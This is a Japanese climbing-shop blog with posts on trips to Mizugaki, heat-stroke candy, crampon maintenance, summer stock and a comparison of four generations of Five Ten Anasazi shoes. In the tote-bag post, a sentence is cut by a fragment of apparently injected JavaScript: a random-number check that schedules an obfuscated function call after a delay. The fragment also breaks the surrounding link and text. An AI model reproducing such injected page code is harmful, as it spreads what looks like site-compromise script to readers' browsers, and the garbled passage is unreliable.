湿気った四谷を脱出して今日は「乗り鉄」です！。
納品がてら、松本方面をウロウロ。
ウロウロがてら、昼間から完成です・・・。
ベロベロがてら、お風呂にも行って来た。
梅雨の過ごし方はむずかしい・・・。
もういっちょ瑞牆。
先週末、瑞牆山に行ってきました。外岩が初めてな２人と、僕が所属している登攀クラブの先輩の４人で行ってきました。
外岩が初めてなお２人は、駐車場から見える瑞牆山の岩に興奮気味。ぼくも、来るたびにほぼ興奮状態。
目標は、カサメリ沢。２人には、少し難しいエリアだったかもしれませんが、リードあり、トップロープありで、やってみました。
夏の日差しですが、沢の近くは涼しげです。
葉っぱの色が、まだ夏ではないかな？。夏山まで、もー少し！。
フェースあり（「あの薄カチどうすればいいんですか…。」その後ぶじにRP。）
クラックあり（本人は初クラック。カムをセットしながら。足を信じてカム入れろー！。がんばれい！。）
最後はボルダーあり（写真の躍動感は二段だけど、実際は６級。（笑））
いい感じでクライミングできました。
（写真の加工はお許し下さい。友人撮影。）
ぼくは課題を１本抱えての下山。またいくぞ〜。
過信は禁物、油断も禁物。
おはようございます！。
あんまり自分の力を過信してはいけないと思います。自分の器を小さく見積もって、いろいろ準備していくスタイルもアリだと思う。
日々のトレーニング、足りてますか？。
結局その場その場で山登り、なんてありがちな話。
そういう人にまず進めるのが
①ストック：足への負担が3割減ります。
②サプリメント：BCAAは筋肉疲労、クエン酸は肉体疲労。翌日の仕事でヘロヘロになるくらいなら、「ドーピング」。
③サポーター：ご存知の通り。筋肉稼動を補助します。
自分のことを信じきってる人は、実際見向きもしません。それはそれで良いことなのですが。
しかし、これからの季節は体力だけあっても、なかなかどーにもならない「熱中症」が待ってます。
水分、塩分、ミネラル、ビタミン・・・そういうのを補給していかないで油断してると、すぐイっちゃいます。
塩熱飴、オススメです！
電解質の補給／水分補給補助／BCAA摂取などなど、ようは「熱中症対策」になります。
そんな大げさなものじゃないし、ポッケに1粒2粒いれときゃいい。
おまけに味も結構美味しい！。
時既に遅し状態にならないように、常備しておくといいですよ〜！。
何でこーゆー形にするかなぁ～。
こちら、B社のネーベさん。アルミですから、折り曲げるぐらい仕方ない。
でも、こーゆーのは「ユーザーに優しく、工場長に厳しい」形状です。普通の▲以外は面倒臭い。
次はコチラですが、慣れてしまえば、「縦爪」は、それ程難しい話じゃない。
むしろ「その他」の爪の方が、変なギザギザで悩ましげな形状だったりする。
こちら、B社のスティンガーくんに至っては、どーすんのヨ、こんなにギザギザさせちゃって！！。確かに、格好イイけどさぁ～。
「少ない労力、程良い稼ぎ」を企む私としては、デザイナーに悪意すら感じる。
そろそろアイゼンを寝かせておく時期となりますので、メンテナンスはオフシーズンに済ませましょう！。
置いておいても仕方ない・・・。
「冷夏」予想は何処へやら、暑い日が続きます。
虫干ししている訳ではなく、暑いので体が着用を拒んでます・・・。着ないで作業するとシャツやパンツが穴だらけになるしなぁ～。
４台かぁ・・・。
じょじょに「夏仕様」へ。
こんにちは。
まず、店先。
「サンダルコーナー」です！。かかとが潰せるスリッパタイプもありますよ。
そして、二階。
「短パンコーナー」です！。クライミングの時は、やっぱり七分丈が便利？。
じょじょに「夏仕様」へ移行中です。
MLIっぽい袋
巷で最近流行の「ミルスペック」的なコレ、男の子はこーゆーのに弱い。後ろ髪引かれて、つい入れてしまった・・・。
まぁ、言えば３wayなトートバックですから、何にお使いになろーが自由です。こだわり派の人はandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands/index.htm” target=”_blank”>カタログでも読んでくれ。
今時珍しい“Made in USA”なところも素晴らしので、お好きな方は是非、限定好きも見逃すな！。
ちなみに、しゃけの生息個体数も少なくなってきました（でなりさん、本日時点で７匹飼育中）。ご注意下さい。
ダムと橋と沢靴
まずダムに行った。
次に橋に行った。
ここまでは普通の遠足。靴を履き替えれば「大人の遠足」、天気も良く楽しい川遊びでした。
毎度あり。ギャラで新しい沢靴買お。
4世代、並べてみました。
こんにちは。Five Ten社の新しいクライミングシューズ。「Anasazi Lace up THE PINK」が入荷してきました。
商品名も、ソールも、カラーも、代によって変わり続けてきた伝説のモデルです。
新製品導入にもかかわらず、恐ろしい事に、デナリさんには４世代が同居。まだ居座っているヤツもいるので、全員集合、並べてみました。
まず正面から。
つづいてヒールから。
C4ソール時代とヒール形状変更入れれば、コイツも3代目か？。とりあえず、一番右が最古参。一番左が入荷してきた最新モデルです。
ヒールの部分、かなり変わってきてますね。旧タイプを見ると、ちょっと狂気を感じるほどのデザイン。ぱこぱこ踵が浮いてしまいそうです。
それに比べて最新モデルの「THE PINK」はかなりスッキリ。洗練されてきてます。
カラーリングは、初代に戻ったことで「復刻」的なイメージ。
ちなみにソールは、（C4）→ONYX、ONYX、XX、C4。改良と改悪は紙一重、結局、オリジナルに戻しました。
最新モデルの「THE PINK」のはき心地、なのですが
特に1世代前の「VERDE」と比べると、センター軸が少し親指寄り（内側）になっているような気がします。
「VERDE」はもっと中指寄りに体重が乗っかっていくような感触？
ソールから見ても、ターンインしている訳ではないのですが、トゥトップが少し内側に来ているせいか
そんな印象。
どっちを取るかは、好み次第かな？。いずれにしても悪くない、癖のない足入れ。
ヒールのホールド感も、強すぎず弱すぎず
いい感じです。
レースアップのクライミングシューズを検討している方は、是非はいてみてください。
オススメです♪。ネットショップもどうぞ！。
瑞牆でとれーにんぐ。
おはようございます。先週末、瑞牆でトレーニングしてきました。
出発が朝になったので、かなり遅めの到着。駐車場は車多く、クラッシュパッドを背負った人達が多いです。ボルダラーが多い。
少し悩みましたが、マルチを考えていたので、脱ぎはきが楽なクルーザーをはいてきました。
下はお気に入りのモンチュラのジーパン、快適で非常に調子が良いです。
気温はありますが、ザックの中には一応、ナノパフを突っ込みます。（最後の最後で役に立ちました。）
どうやら天気が午後崩れるらしく、マルチはやめて、アプローチが楽な近場でショートルートでもやるか悩む。
しかし、悩み始めたらちょっとでもキツい方へ行くというのが師匠の教え。時間も遅いが大ヤスリにむけて出発！。
アッセンジョニスト45Lです。ザック正面のデイジーチェーンに、バックルを二本通しておけば、何かと便利です。
なぜかアプローチで迷ってしまう。時計を見て焦りましたが、無理矢理登って大ヤスリの麓へ到着。
久しぶりの花崗岩、頑張って登るぞー。
1p,2pはフォロー、3pはリードであがります。
前半が思った以上にワイドで、持ってきた小さいカムが全然決まりませんでした。
風も結構冷たい。でも、景色は最高！。遠くには、五条岩。
大ヤスリの迫力に圧倒される、今回は手前のナイフリッジのピークを行くことにしました。
最後の4p目、難しい！しかし、無理矢理攀じ上る。
無事、ピークに立った。ぐるっと見回して、瑞牆山の岩峰達を目に焼き付けて、即、懸垂下降。
登り出しまで下りてきて、荷物をザックに放り込み、走って下山です。
下山の時はやっぱりボルダーXのが断然強いなぁと感じつつ、それでも走って下山です。
ふー、麓のボルダーエリアに戻ってきた。17時くらいです
よーし、まだまだ。ボルダリングするぞー！。
しかし、僕たちはクラッシュパッドを忘れてきたことに気付く。
そこで、ナノパフをパッド代わりにしようという妙案を思い付く。
使い方、完全に間違っています（笑）でも、ないよりはマシです。
だーめだ！阿修羅さんが登れない。悔しい。てか、ナノパフじゃ怖い。
最後はヘッデンつけて、何便かだして、19:30。
本日はここで終了。帰りは渋滞、帰宅は24:00。
瑞牆は本当に素晴らしいところです。